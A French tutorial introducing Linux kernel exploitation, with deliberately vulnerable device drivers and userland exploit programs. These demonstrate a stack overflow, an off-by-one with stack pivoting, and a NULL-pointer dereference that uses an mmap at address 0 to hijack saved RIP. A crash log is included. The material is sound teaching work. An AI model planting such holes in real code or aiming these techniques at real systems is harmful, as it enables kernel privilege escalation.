Introduction à l’exploitation kernel
Qu’est ce que l’exploitation kernel⌗
Syscall vulnérables⌗
L’exploitation du kernel est l’exploitation des failles de sécurité dans le ring 0. Les techniques utilisées pour exploiter ce type de vulnérabilité sont un peu différentes de l’exploitation d’une application en “userland”. Et quand vous êtes débutants, c’est pas forcément un domaine conseillé de par le fait que cela demande pas mal de prérequis. En „ring 0“ ou dans en „kernel land“,on retrouve le coeur du système d’exploitation. Par exemple, une application en „userland“ passe en „kernel land“ pour de nombreuses raisons telles que l’accès au hardwar ou les fonctionnalités natives/privilégiées de votre système d’exploitation, souvent pour des opérations plus bas niveaux : :
/* Small x86-64 application in nasm */
global _start
_start:
xor rdi, rdi ; // set rdi to zero
mov rax, 60 ; // syscall number for exit
syscall ; // <- entry in kernel land for exit(0)
Le 60 dans rax représente syscall number dans la syscall table. Le premier paramètre d’un syscall est passé à rdi selon l'abi. Les prochains paramètres sont mis dans les registres : rsi, rdx, r8 and r9. Ces paramètres sont susceptibles non seulement d’être mal utilisés, mais aussi de conduire à une vulnérabilité (exploitable bien évidement)! !
Devices vulnérables⌗
Comme nous l’avons vu précédemment, il est possible d’exploiter sans encombre un appel système vulnérable à partir du userland, mais il y a aussi deux autres types de programmes qui tournent en kernel land qui peuvent être utilisés afin d’augmenter vos privilèges : les kernel loadable modules (LKM) et les devices. Nous ne traiterons pas de l’exploitation des LKM qui ne sont pas enregistrés en tant que devices et qui sont un peu différents à manipuler. On distingue principalement deux techniques qui permettent d’envoyer des données à une device :
- Ouvrir la device et récupérer un file descriptor dessus et utilisez le syscall read / write afin de trigger la fonction associée comme read / write handler pour déclencher une vulnérabilité dans la fonction qui traitera les requètes read / write de notre programme userland selon le syscall que nous utilisons. Structure de base de payload pour de tels exploits:
#include <stdio.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define VULN_DEVICE "/dev/im_vuln" // vuln name
#define LEN_CRASH 64
#define LEN_READ 256
int main(){
int fd = open(VULN_DEVICE, O_RDWR); // Open in write / read
char rbuf[LEN_READ];
unsigned long *pld = malloc(LEN_CRASH);
memset(pld, 0x41, LEN_CRASH);
/* Some basic check */
read(fd, rbuf, LEN_READ); // Request data from kernel, trigger the read handler
write(fd, pld, LEN_CRASH); // Send data to the kernel, trigger the write handler
/* Theorically if the vuln is triggered, the code below is never reached */
close(fd);
free(pld);
return 0;
}
Bien entendu, cette structure dépend de la vulnérabilité qui affecte la device. Une requète de 256 octets peut par exemple provoquer un comportement particulier qui rendra le syscall suivant vulnérable.
- Ou vous pouvez aussi interagir avec votre device grâce au syscall ioctl. Pour interagir avec votre device avec ioctl, vous devez remplir au moins les paramètres suivants : :
int ioctl(int fd, unsigned long request, char *arg);
/*
* Le champ fd représente votre file descriptor ouvert sur votre device.
* Le champ requests représente la commande que vous voulez exécuter.
* (vous le verez plus loin dans le code)
* Pour finir, le pointeur args peut être n'importe quelle variable,
* la seule chose obligatoire est le code du noyau de votre device qui gérera votre argument et
* votre requête en fonction du type et de la valeur de ces variables.
*/
Et parce que la pratique est plus claire, écrivons une device qui s’occupera des appels à l’ioctl:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#define WRITE 2
#define READ 3
static const struct file_operations f = {
/* ... */
.unlocked_ioctl = vuln_ioctl,
/* vuln_ioctl is registered as the ioctl handler, it will be called at every ioctl request from userland */
};
typedef struct ioctl_read {
unsigned long length;
unsigned char *rbuf;
} read_ioctl;
static int write(void __user *argp);
static int read(void __user *argp);
static long vuln_ioctl(struct file *file, unsigned int request, const char __user *arg_user){
int ret;
read_ioctl *argp = (read_ioctl *)arg_user;
switch (request) {
case WRITE:
ret = write(argp);
break;
case READ:
ret = read(argp);
break;
default:
ret = -1; /* Invalid request */
}
/*
* So request and argp can be anything according
* to the fact that in your code the value of request
* and argp are correctly handled
*/
return ret;
}
static int write(read_ioctl __user *argp) {
/*
* Some dangerous stuff with argp
*/
return 0;
}
#define LEN_STR 28
static int read(read_ioctl __user *argp) {
/*
* This function will just copy either the argp->lenth bytes
* of kstr in argp->rbuf or if argp->length > LEN_STR, it will
* just copy all the string in order to prevent bugs.
*/
const char *kstr = "I'm a string in kernel land";
if (argp->length >= LEN_STR) {
if (-1 == copy_to_user(argp->rbuf, kstr, LEN_STR)) {
printk(KERN_INFO "[ERROR READ]\n");
return -1;
}
return 0;
}
/* If the code below is reached, argp->length < LEN_STR */
if (-1 == copy_to_user(argp->rbuf, kstr, argp->length)) {
printk(KERN_INFO "[ERROR READ]\n");
return -1;
}
return 0;
}
/* ... */
En principe, si nous voulons lire/envoyer des données vers/depuis un programme qui traite nos requètes d’ioctl, nous devons construire une structure comme celle-ci:
/*
* We are just taking the same code that previously
* but we send data with ioctl
*/
#include <stdio.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#define VULN_DEVICE "/dev/im_vuln"
#define LEN_CRASH 64
#define LEN_READ 256
#define WRITE 2
#define READ 3
/* Same request than the code in kernel land */
typedef struct ioctl_read {
unsigned long length;
unsigned char *rbuf;
} read_ioctl;
int main(){
int fd = open(VULN_DEVICE, O_RDWR); /* Open in write / read */
read_ioctl r_arg = {0};
r_arg.rbuf = malloc(LEN_READ);
read_ioctl.length = LEN_READ;
memset(read_ioctl.rbuf, 0x0, LEN_READ);
unsigned long *pld = malloc(LEN_CRASH);
memset(pld, 0x41, LEN_CRASH);
ioctl(fd, READ, &r_arg);
/*
* We send a READ request which will be interpreted as
* seen above. And then, the read_ioctl->length-n bytes
* will be copied in read_ioctl->rbuf.
*/
ioctl(fd, WRITE, pld);
/*
* Same thing that for READ, the WRITE request is
* handled by in our example the write handler.
*/
close(fd);
free(read_ioctl.rbuf);
free(pld);
return 0;
}
Bien sûr, l’objectif de cette partie n’est pas d’expliquer comment les devices sont développés et seuls quelques concepts sont obligatoires pour envoyer nos payloads dans le kernel land. Donc si vous êtes intéressé par le développement kernel sous linux et si vous voulez en savoir plus sur le kernel exploit sous linux, vous pouvez consulter les liens ci-dessous : (Malheuresement une grande majorité des ressources en informatique et encore plus en InfoSec sont en anglais mais vous pourrez sûrement trouver une traduction française ou vous mettre à la langue de Shakespeare aka l’anglais ♥:
-
Understanding linux kernel, l’un des livres phares sur les rouages de linux, en particulier pour la gestion de la mémoire et la structure des processus. Mais attention, ce livre couvre le noyau linux 2.x.x et est donc un peu vieux. Cependant ça reste une référence.
-
Linux kernel developpement, Un livre sur le développement de KLM très intéressant pour les débutants et un peu plus récent que le précédent.
-
Understanding the Linux Virtual Memory Manager Un livre sur la gestion de la mémoire virtuelle sous linux. Mais attention, il est un peu plus poussé, pas vraiment destiné à des débutants. Il traite aussi des kernel allocators (tel que „slab“ / „slub“ / „slob“).
-
A Guide to Kernel Exploitation Attacking the Core, un livre de référence sur l’exploitation des noyaux pour les débutants. Je suppose que c’est l’une des ressources les plus utiles pour apprendre l’exploitation des noyaux. Malheureusement, il est assez ancien et aujourd’hui les techniques d’exploitation ont changé mais pour les noyaux inférieurs à ce 4.x.x, c’est resté un peu la même chose. Je le conseil vraiment.
-
Paper about ret2dir attacks, article très intéressant sur la façon d’exploiter votre noyau avec l’attaque re2dir.
-
Reverse Engineering 4 Beginners, si vous n’êtes pas familier avec la programmation en assembleur Intel et que vous ne connaissez rien à la rétro-ingénierie (Reverse Engineering), il est important pour être prêt à commencer l’exploitation du noyau que vous connaissiez quelques connaissances de base à ce sujet.
-
phrack Kernel Exploitation notes, quelques notes intéressantes de phrack sur l’exploitation du kernel et constitue un bon aperçu des différents types de vulnérabilités que l’on peut trouver dans le domaine du kernel land et de la manière de les exploiter.
-
CVE-2017-11176 A step-by-step Linux Kernel exploitation by lexfo security (1, 2, 3, 4)très grande ressource pour l’apprentissage de l’exploitation du kernel, ces 4 parties sont aussi un bon point d’entrée dans l’exploitation du kernel.
-
Professional Linux Kernel Architecture Livre important sur les rouages du kernel linux. Il ressemble à Understanding linux kernel mais est un peu plus poussé sur certains chapitres.
Maintenant que vous avez appris comment envoyer des données à votre device, nous allons voir quelques vulnérabilités qui peuvent affecter votre device et tout syscall dans le kernel land.
Les vulnérabilités⌗
Comme cette page n’est qu’une introduction faite dans le seul but de vous donner une connaissance très basique de l’exploitation kernel, une prochaine partie sera consacrée à chaque type de vulnérabilité, et approfondira l’explication des techniques d’exploitation.
Stack based buffer overflow⌗
Un buffer overflow est une vulnérabilité très courante que vous avez déjà vu dans les programmes de l’userland (si vous ne savez rien à ce sujet, je pense que le noyau de départ l’exploitation n’est pas très sûre et vous devriez plutôt vous pencher sur le ropemporium). Dans le kernel land, un débordement de pile apparaît comme en userland lorsque vous essayez d’écrire dans un buffer auxquel vous avez attribué N octets de plus que N et que vous pouvez donc écraser le saved instruction pointer. Nous n’approfondirons pas l’explication de ce type de bugs mais nous verrons comment vous pouvez déclencher la vulnérabilité et ensuite l’exploiter.
Typiquement, un débordement de pile est souvent le résultat de fonctions telles que strcpy() / memcpy() en userland ou de boucles directement dangereuses. Par exemple, la fonction du noyau utilisée pour copier un tampon du userland vers le kernel land est souvent copy_from_user((void *to, const __user *from, unsigned long n);
, creusons davantage dans les rouages de cette fonction:
unsigned long copy_from_user (void *to, const __user *from, unsigned long n);
/* void *to is a Kernel land buffer to whom n bytes from the
* const __user *from userland buffer will be copied.
* Note: The copy_from_user function checks the arguments in order to prevent
* overflows as we can see below.
*/
static __always_inline unsigned long __must_check
copy_from_user(void *to, const void __user *from, unsigned long n)
{
if (likely(check_copy_size(to, n, false)))
n = _copy_from_user(to, from, n);
return n;
}
/* The check_copy_size(to, n, false) looks like it */
static __always_inline __must_check bool
check_copy_size(const void *addr, size_t bytes, bool is_source)
{
int sz = __compiletime_object_size(addr);
/* __compiletime_object_size(addr) returns the length of the object
* pointed by addr (addr can whatever in the object), it's possible
* if only for objects whose ranges can be determinated at
* compile time.
*/
if (unlikely(sz >= 0 && sz < bytes)) {
/* n > Our buffer -> Overflow */
}
if (WARN_ON_ONCE(bytes > INT_MAX))
/*Max value for an int -> crazy behaviour -> error*/
return false;
check_object_size(addr, bytes, is_source);
/* The check_object_size will try to determine if the object is a valid
* object in the stack/heap and if addr + bytes stays in the stack frame.
* According to the fact that for example if (addr + bytes)
* > stackend, check_copy_size will abort the copy or return.
*/
return true;
}
/* Now take a look at _copy_from_user(to, from, n);
*
*/
_copy_from_user(void *to, const void __user *from, unsigned long n)
{
/* likely() and unlikely() are just macros
* who are saying to the cpu:
* - if(likely(condition)) { This code
* is basically executed there is not
* conditional jmp toward another memory
* page which is potentially not in the cache
* and which will make that the execution will
* be slower}
* - In opposition to likely(condition), unlikely(condition)
* will make that:
*
* if(unlikely(!func(0x1337))) {
* return 0;
* }
*
* else {
* return 1337;
* }
*
*
* At runtime it's equivalent to:
*
* if(func(0x1337)){
* /* In assembly it looks like it:
* * call func
* * cmp rax, 0x0
* * je so_far_else
* * mov rax, 1337
* * ret
* *
* * In assembly we can see that when the unlikely condition
* * is true, the execution is a bit slower because the address
* * of else can be in another page not in the TLB
* * (translation lookaside buffer). It's too used by the branch prediction
* * feature of you processor for know if it must evaluate the jmp.
* *
* /
* return 1337;
* }
* else {
* /* This label can be in another page
* * the jmp here is 'unlikely' and is a
* * bit more slow.
* /
* return 0;
* }
*
*
*/
unsigned long res = n;
might_fault();
if (likely(access_ok(from, n))) {
/* does we can access n bytes from from ? */
kasan_check_write(to, n);
/* does we can write n bytes to to ? */
/* All check have been done
* We can call the final function.
*/
res = raw_copy_from_user(to, from, n);
}
/* When res is equal to zero the data has been copied, else
* it's that the previous condition is not taken and so res = number
* of bytes to copy.
*/
if (unlikely(res))
memset(to + (n - res), 0, res);
/*
* If there is an error, the kernel land buffer
* is filled with NULL bytes.
*/
return res; /* 0 on success and n on error */
}
/* the raw_copy_from_user(to, from, n) is just: */
static inline unsigned long
raw_copy_from_user(void *to, const void __user *from, unsigned long len)
{
return __copy_user(to, (__force const void *)from, len);
}
/*
* Finally raw_copy_from_user is just a call to __copy_user (a memcpy)
* And __copy_from_user is just a call to raw_copy_from_user with less checks
*/
static __always_inline __must_check unsigned long
__copy_from_user(void *to, const void __user *from, unsigned long n)
{
might_fault();
kasan_check_write(to, n);
check_object_size(to, n, false);
return raw_copy_from_user(to, from, n);
}
Toute cette recherche est juste faite pour vous faire comprendre que copy_from_user est juste un appel à memcpy avec beaucoup de vérifications. Mais pour plus de clarté, nous utilisons raw_copy_from_user et non directement memcpy lorsque nous voulons créer des comportements dangereux.
Nous verrons les deux cas dans un dangereux handler d’écriture d’un device:
/* Same structure than previously */
typedef struct write_buf {
unsigned long length;
unsigned char *rbuf;
} wr_struct;
static int vuln1_write(struct file *file, const char __user *buf, size_t user_count, loff_t *offt) {
unsigned char vuln_buf[LEN_MAX];
memset(vuln_buf, 0x0, LEN_MAX);
/* We fill the vuln_buf of 0x0 */
wr_struct *argp = (wr_struct *)buf; /* We are getting the user's arg */
/*
* if (raw_copy_from_user(vuln_buf, (const char __user *)argp->rbuf, user_count)) {
* return -1;
* }
*
* If we uncomment it, the crash will occur and the code below will not
* be executed, but the for loop or any equivalent while loop will create
* the same dangerous behaviour.
*
*
* raw_copy_from_user(vuln_buf, (const char __user *)argp->rbuf, user_count) call is very
* dangerous because if the user_count send by the user is bigger than LEN_MAX,
* the vuln_write's stack frame will be overflowed.
* And it can overwrite the saved instruction pointer and redirect the control flow !!
*/
int i=0;
for (i=0; i < argp->length; i++) {
vuln_buf[i] = argp->rbuf[i];
printk("%x", vuln_buf[i]);
}
/*
* Just above, we can notice that the for loop is looping on argp->length in
* order to copy argp->length bytes from our userland buffer in the kernel-land
* buffer vuln_buf and if argp->length > LEN_MAX, into the vuln_write's local variables and even further !.
* Tt can be dangerous if it allow us to overwrite and control the saved instruction
* pointer at the top of the stackframe.
*/
return 0;
}
Maintenant que nous savons comment envoyer un payload à un handler d’écriture, nous pouvons écrire le payload ci-dessous sans aucun problème:
/* exploit.c */
#include <stdio.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#define LEN 250
typedef struct write_buf {
unsigned long length;
unsigned char *rbuf;
} wr_struct;
int main(){
int fd = open("/dev/vuln1", O_RDWR);
wr_struct to_send;
to_send.length = LEN;
to_send.rbuf = malloc(LEN);
memset(to_send.rbuf, 0xff, LEN);
if (write(fd, &to_send, LEN) == -1) {
printf("[Error sending pld]\n");
return -1;
}
printf("[pld send]\n");
close(fd);
free(to_send.rbuf);
return 0;
}
Il nous suffit de compiler le KLM, et de le charger dans le kernel land avec insmod:
# make
make -C /lib/modules/3.19.0-31-generic/build SUBDIRS=/media/sf_C-C++/pwn_stuff/Kernel_Exploit/vuln1 modules
make[1]: Entering directory '/usr/src/linux-headers-3.19.0-31-generic'
Building modules, stage 2.
MODPOST 1 modules
make[1]: Leaving directory '/usr/src/linux-headers-3.19.0-31-generic'
# insmod main.ko <- Load the kernel module in memory
# gcc exploit.c -g -o pld
# ./pld
Segmentation fault
# dmesg # <- Command used to display kernel logs
[47655.844948] vuln1: Init
[47729.624822] [Open]
[47729.624946] fffffffffffffffffffffffffff [...]
[47729.625118] general protection fault: 0000 [#12]
[47729.625122] SMP
[...]
[47729.625171] task: ffff88007a0dbae0 ti: ffff8800692d4000 task.ti: ffff8800692d4000
[49382.393576] RIP: 0010:[ffffffffffffffff] [ffffffffffffffff] 0xffffffffffffffff
[49382.393584] RSP: 0018:ffff880069333ee8 EFLAGS: 00010246
[49382.393588] RAX: 0000000000000000 RBX: ffffffffffffffff RCX: 0000000000002f06
[49382.393592] RDX: 000000000000bdfc RSI: 0000000000000246 RDI: 0000000000000246
[49382.393595] RBP: ffffffffffffffff R08: ffffffff81ed7120 R09: 000000000000fffd
[49382.393599] R10: 000000000000102f R11: 000000000000000f R12: ffffffffffffffff
[49382.393602] R13: 00000000000000e0 R14: ffff880069333f50 R15: 0000000000000000
[49382.393608] FS: 00007f9a9c255700(0000) GS:ffff88009d800000(0000) knlGS:0000000000000000
[49382.393612] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[49382.393616] CR2: ffffffffffffffff CR3: 00000000691f6000 CR4: 00000000000406f0
[49382.393625] Stack:
[49382.393627] ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
[49382.393634] ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
[49382.393640] ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
[49382.393646] Call Trace:
[49382.393661] [ffffffff817b6dcd] ? system_call_fastpath+0x16/0x1b
[49382.393664] Code: Bad RIP value.
[49382.393672] RIP [ffffffffffffffff] 0xffffffffffffffff
[49382.393678] RSP ffff880069333ee8
[49382.393681] CR2: ffffffffffffffff
[49382.393687] ---[ end trace 6f00dcc0b67af37c ]---
Juste au-dessus, nous voyons beaucoup de choses intéressantes, toute notre stack est remplie de beaucoup de 0xff de notre argp->rbuf, rbp, rbx et r12 sont trop remplis de 0xff parce qu’ils ont été pop à la fin de la fonction. Et enfin nous avons vu que rip a été pop à la fin de la fonction et a donc maintenu la valeur 0xffffffffffffffffffffff.
Félicitations ! Maintenant que nous avons déclenché ce gestionnaire d’écriture, nous devons calculer le décalage à partir duquel rip est écrasé.
Mais pour l’instant, ce n’était qu’une introduction à l’exploitation de ce type de vulnérabilités.
Off by one/two⌗
Une vulnérabilité „off by one/two“ se produit lorsqu’un objet est débordé de seulement un ou deux octets. Habituellement, nous pouvons trouver ce genre de vulnérabilités dans une boucle:
typedef struct write_buf {
char rbuf[LEN];
unsigned long length;
} wr_struct;
/* ... */
#define LEN 64
static int vuln1_write(struct file *file, const char __user *buf, size_t user_count, loff_t *offt) {
wr_struct *argp = (wr_struct *)buf;
unsigned char *k_write = kzalloc(argp->length);
/* The developper tries to be secure lulz */
for (ssize_t i = 0; i <= argp->length; i++) {
k_write[i] = argp->rbuf[i];
}
kfree(k_write);
/* Other version of the code without dynamic allocation */
unsigned char vuln_buf[argp->length];
for (ssize_t i = 0; i <= LEN; i++) {
vuln_buf[i] = argp->rbuf[i];
}
return 0;
}
Comme indiqué ci-dessus, l’off by one apparaît dans le heap parce que nous allouons notre buffer sur le kernel heap avec kzmalloc ou sur la pile. Le <= fait que si i commence à 0, il fera une boucle de 0 à LEN inclue et donc la boucle sera exécutée LEN plus une fois. Et cela conduit à un débordement car lorsqu’un objet est de longueur LEN comme vu ci-dessus, le déréférencement se fait sur LEN+1 octets et donc l’octet à côté du buffer sur la pile ou sur le heap peut être écrasé. Pour faire planter ce programme, c’est à peu près la même chose que pour une stack based buffer overflow. La différence est qu’une off by one/two n’est souvent pas exploitable comme nous le verrons plus tard.
Mais pour l’instant, il est très important de comprendre que la structure d’une fonction est toujours composée d’un prologue et d’un épilogue. Dans l’assembleur 64 bits d’intel, un prologue ressemble à cela :
push rbp
mov rbp, rsp
La première instruction s’occupe de mettre notre sauvegarde de rbp sur la pile. La deuxième instruction consiste à sauvegarder la valeur de rsp afin de préserver de ses futurs changements lors de la création des variables locales. Cette valeur lui sera réstoré à la fin de la fonction.
L’épilogue lui ressemblerait à:
leave
// leave is equal to:
// mov rsp, rbp
// pop rbp ; <- The saved value of rbp, pushed on the stack
// ; at the begin of the function is retablished.
ret
L’instruction de „leave“ permet de rétablir la valeur précédente de rsp et ainsi détruire toutes les variables locales créées dans notre fonction et de rétablir la valeur précédente de rbp avec le pop rbp. Enfin, l’instruction ret va pop la valeur sur la stack dans rip et ainsi exécuter l’instruction pointée par cette adresse. Notre objectif est de controler soit la valeur sur la pile lorsque l’instruction „ret“ est exécutée ou pour un débordement sur le heap basé sur un décalement d’un ou deux , écraser les données sensibles dans le heap.
Pour l’instant, nous allons concentrer notre exploitation sur le scénario de stack overflow car l’exploitation de la heap dépend de la version et du type de votre kernel allocator. Mais nous devons résoudre une contrainte principale : nous ne pouvons déborder que d’un ou deux octets, donc comment overflow le saved rip s’il y a le saved rbp juste avant ? Et comment faire si à côté du buffer vulnérable sur la pile il y a une autre variable ?
La réponse est que, pour de nombreuses raisons, une un off by one n’est pas exploitable, mais je vais essayer d’expliquer quand elle l’est.
Une off by one est exploitable quand:
-
[1] Le buffer se trouve juste à côté du saved rbp.
-
[2] Avec la contrainte [1], nous pouvons écraser les premiers octets du rbp sauvegardé. Mais le but est d’écraser le rip sauvegardé ou que lorsque l’instruction ret est exécutée, avoir le contrôle de la valeur sur la stack. Pour ce faire, nous utiliserons une technique de stack pivoting . Si vous n’y connaissez rien en matière de stack pivoting, vous pouvez consulter le document présenté précédemment et le challenge ROP Emporium à ce sujet. Le stack pivoting consiste simplement à remplacer le rsp original par l’adresse d’un buffer que nous contrôlons. Et pour notre cas, nous utiliserons le seul registre que nous pouvons contrôler avec notre off by one. Il peut être fait par de nombreux gadgets, mais pour notre exploitation, c’est souvent un leave, car il contient, comme on l’a vu plus haut, l’instruction mov rsp, rbp Sans ce gadget, l’exploitation ne peut se faire. La particularité est que le gadget ne doit pas se trouver dans la fonction vulnérable mais dans une des fonctions appelantes. En effet, lorsque le mov rsp, rbp se produit dans la fonction vulnérable, le saved rbp n’est pas rétabli dans rbp et donc nous ne le controlons pas. Mais après cette instruction, la valeur précédente de rbp sauvegardée sur la pile au début de la fonction est rétablie en rbp. Et lorsque l’exécution revient à la fonction appelante, la valeur de rbp est différente est différente que lors de l’appel à notre fonction vulnérable. Et nous contrôlons les un ou deux octets les moins significatifs ! C’est ainsi que lorsque l’épilogue de la fonction appelante est atteint, souvent, si cette fonction a des variables locales le mov rsp, rbp est atteint. Et le pivoting vers un autre buffer sous notre controle possible.
Le schéma ci-dessous le présente un peu plus clairement:
{1}: juste avant l’appel à notre fonction de foo vulnérable, la valeur de la rbp est la même que celle de l’instruction mov rbp, rsp du prologue. Et peut être par exemple : 0xffff880069333ee8
{2}: l’exécution est transférée au code de la fonction foo et la valeur de l’instruction qui suit l’instruction d’appel dans la fonction d’appel est poussée sur la pile.
{3}: le prologue de la fonction foo est exécuté, le pointeur basé sur la sauvegarde est poussé sur la pile (stackframe). Et une nouvelle stackframe est créé.
{4}: la boucle vulnérable est exécutée et les un/deux octets les moins significatifs du saved rbp sont écrasés sur la stack. cf la contrainte [1].
{5}: l’épilogue est exécuté, l’instruction de leave détruit toutes les variables locales et fait pop le saved rbp pushed dans le prologue dans rbp.
{6}: Meme si la valeur du saved rbp est différente, c’est toujours une stack address, mais les un / deux octets inférieurs sont écrasés. Si nous prenons la valeur aléatoire définie précédemment, avant le début de la fonction foo, rbp == 0xffff880069333ee8 et maintenant les octets 0xe8 ou 0x3ee8 peuvent être contrôlés.
Enfin, l’instruction leave exécute l’instruction mov rsp, rbp. La dernière contrainte est donc de trouver une zone de mémoire dans le stackframe de toute fonction que nous contrôlons et qui sera utilisée comme une custom stack. Mais si nous ne pouvons déborder que d’un octet, la plage est très limitée et dépend de la valeur du pointeur de base lorsque le débordement se produit.
Dans notre exemple, la valeur de la rbp lorsque le débordement se produit est de 0xffff880069333ee8 et nous pouvons contrôler seulement le dernier octet. Le 0xffff880069333e est donc l’adresse de base que nous ne pouvons modifier qu’un très petit offset. Un octet représente une gamme de 255 possibilités. Ainsi, dans le cadre de la pile de l’appel nous pouvons faire pivoter la pile uniquement sur 0xe8 octets en raison de la structure LIFO (Last In, First Out) de la pile. En effet, elle se développe vers le bas. Donc, plus le dernier octet de la rbp sauvegardée est petit, moins nous avons de place pour trouver un emplacement pour notre pile personnalisée dans le stackframe de la fonction appelante. Mais une solution peut être de rechercher une zone de mémoire dans la fonction appelante de la fonction appelante. Avec cette technique nous pouvons utiliser memory area atour des 2^8 pour une off by one et autour de 2^16 pour une off by two.
NULL pointer dereference⌗
Une vulnérabilité de déréférencement de pointeur NULL se produit lorsque vous essayez d’accéder à certaines données situées à l’adresse 0x0. Par exemple, si le pointeur d’une structure est initialisé à 0x0 et que vous essayez de le déréférencer.
/* vuln1.c */
#define LEN_MAX 16
/* ... */
static ssize_t vuln1_write(struct file *file, const char __user *buf, size_t user_count, loff_t *offt) {
unsigned char k_buf[LEN_MAX];
ssize_t i;
wr_struct *argp = (wr_struct *)buf;
if (argp->length > LEN_MAX) {
printk(KERN_INFO "[OVERFLOW DETECTED]\n");
return -1;
}
/* The length is checked to avoid overflows :) */
argp = NULL;
/* Init to NULL the pointer toward the struct */
for (i = 0x0; i < (unsigned long)argp->length; i++) {
k_buf[i] = argp->rbuf[i];
}
/* NULL pointer dereference for each iteration */
return 0;
}
Il va essayer de déréférencer un pointeur dans une structure située en 0x0. En effet argp->rbuf[i] est équivalent à *(*((unsigned long *)(argp + offsetof(argp->rbuf))) + i * sizeof(unsigned char))
. Il y a donc deux déréférences, la première pour connaître l’adresse vers laquelle rbuf pointe. La seconde pour lire l’octet (unsigned char) à cette adresse plus le compteur. Ce qui est intéressant, c’est que nous pouvons contrôler les octets à 0x0 si la variable système mmap_min_addr est définie à 0x0 (ne peut être éditée que lorsque vous êtes root). Sa valeur peut être modifiée (c’est généralement le cas sur les systèmes modernes) pour empêcher l’exploitation des déréférences des pointeurs NULL. Mais ici, nous partons du principe que nous pouvons utiliser l’appel système mmap pour mapper une page à 0x0 et donc controler les bytes à cet endroit. Cela peut être un peu difficile à comprendre pour le moment, mais l’address space du programme est segmenté en pages de longueur 0x1000 (octets) auxquelles sont associés quelques drapeaux notamment les permissions comme si la page est exécutable, si elle est accessible en écriture, si elle appartient au kernel ou non. Une adresse virtuelle est segmentée en plusieurs parties selon le nombre de paging structures choisi par votre système d’exploitation (souvent 4 sur le OS 64 bits). Ces 4 niveaux de paging ne sont que des tableaux de pointeurs vers les structures inférieures où certains bits de ces pointeurs sont utilisés comme drapeaux booléens (les 64 bits ne sont pas obligatoires pour adresser physiquement les structures inférieures). Et finalement, la dernière structure pointe vers l’adresse physique de la page cible à laquelle sont ajoutés les 12 derniers bits de l’adresse virtuelle (bits 0 à 11). L’adresse virtuelle est ainsi segmentée comme un premier offset de 12 bits ( PAGE_LENGTH => 2^12 soit 4096), quatre champs de 9 bits chacun qui sont juste un offset dans chaque structure de paging (2^9 = 512 entrées, l’entrée n est déterminée par BITS_VADDR * sizeof(unsigned char *)
car chaque entrée est un pointeur). Enfin, le registre cr3 contient base address physique de la première structure de paging (pmle4) ; il est obligatoire car lorsqu’il est modifié, tout l’espace d’adresse est switched (utilisé dans des context switch).
Mais c’est un autre sujet qui sera abordé dans un autre article et pour l’instant vous devez juste comprendre qu’un processus partage les pages où le kernel est mappé avec les autres processus et donc quand l’exécution est dans le kernel land, vous pouvez facilement accéder et déréférencer les pointeurs du userland (ce qui n’est pas toujours le cas surtout avec la protection smap) parce que cr3 n’est pas changé (ou alors c’est quand le KPTI est activé mais ils sont alors mappés dans l’espace d’adressage du kernel avec le bit NX). Ainsi, si nous mappons quelque chose à 0x0, lorsque l’exécution atteindra le kernel, toutes les structures de paging du processus appelant seront conservées (et donc toutes les pages du userland pourront être gérées par le kernel). Voilà la raison pour laquelle un déréférencement de pointeur NULL est exploitable. Nous venons de créer une nouvelle structure wr_struct en 0x0, modifier le champ length pour déborder le pointeur d’instruction enregistré et créer un payload dont l’adresse est gérée par le champ rbuf de la structure.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
#include <sys/ioctl.h>
/*
* exploit.c
* author: nasm
*/
typedef struct write_buf {
unsigned long length;
unsigned char *rbuf;
} wr_struct;
int main() {
int fd;
wr_struct to_send = {0};
/* The basic structure we send (we need to setup only to_send.length) */
wr_struct *struct_nullp = NULL;
/* The structure we are crafting at 0x0 from userland */
unsigned long *pld = NULL;
/* A pointer toward the location which will overflow the vuln1_write's saved rip */
if ((fd = open("/dev/vuln1", O_RDWR)) < 0x0) {
printf("Error open\n");
return -1;
}
to_send.length = 0x10;
/* must be lower than LEN_MAX */
unsigned char *null_pointer = mmap(0x0, 1024, PROT_READ | PROT_WRITE ,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0x0);
struct_nullp = (wr_struct *)null_pointer;
/* Easier to handle with the fields of a struct and not raw offsets */
struct_nullp->length = 0x28+sizeof(unsigned char *);
/*
* crash from 0x28 bytes to which we add the length of the
* pointer we want to erase (saved rip)
*/
struct_nullp->rbuf = malloc(0x28+0x8);
/* Same than for the length */
pld = struct_nullp->rbuf+0x28;
/*
* Handle directly the address from which the saved rip will be overwritten
*/
*pld = (unsigned long)0x1337;
/*
* Invalid pointer which will leads to a crash but interesting pattern
*/
if (-1 == write(fd, &to_send, to_send.length)) {
printf("[Error sending pld]\n");
return -1;
}
printf("[pld send]\n");
close(fd);
free(struct_nullp->rbuf);
if (-1 == munmap(null_pointer, 1024)) {
return -1;
}
return 0;
}
Je ne commenterai pas tout le code, seulement les parties les plus importantes, nous devons mettre en place deux structures : la première pour atteindre le contrôle sur le champ argp->length
et la seconde mappée en 0x0, elle écrasera la „stack frame“ de la stack de la fonction cible en créant la même structure wr_struct et en mettant les champs length et rbuf pour écraser le rip sauvegardé et rediriger le control flow. Pour ce faire, nous devons savoir à partir de quel offset rip est écraser. À ce titre, il convient de jeter un coup d’œil sur l’assembleur de la fonction vuln1_write
produite par gcc avec IDA:
